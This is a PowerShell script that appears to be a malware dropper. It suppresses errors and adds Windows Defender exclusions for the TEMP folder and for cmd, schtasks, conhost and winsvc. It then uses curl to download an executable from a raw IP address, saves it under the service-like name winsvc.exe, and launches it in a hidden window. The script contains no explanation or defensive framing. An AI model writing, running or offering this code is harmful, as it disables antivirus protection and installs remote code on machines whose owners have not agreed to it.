$ErrorActionPreference = 'SilentlyContinue'
$d = Join-Path $env:TEMP 'winsvc.exe'
Add-MpPreference -ExclusionPath $env:TEMP
foreach ($p in @('cmd','schtasks','conhost','winsvc')) { Add-MpPreference -ExclusionProcess $p }
& curl.exe -s -L -o $d 'http://201.58.181.176/f.exe'
if (Test-Path $d) {
    Start-Process -FilePath $d -WindowStyle Hidden
    Write-Host '[+] ok' -ForegroundColor Green
} else {
    Write-Host '[-] download failed' -ForegroundColor Red
}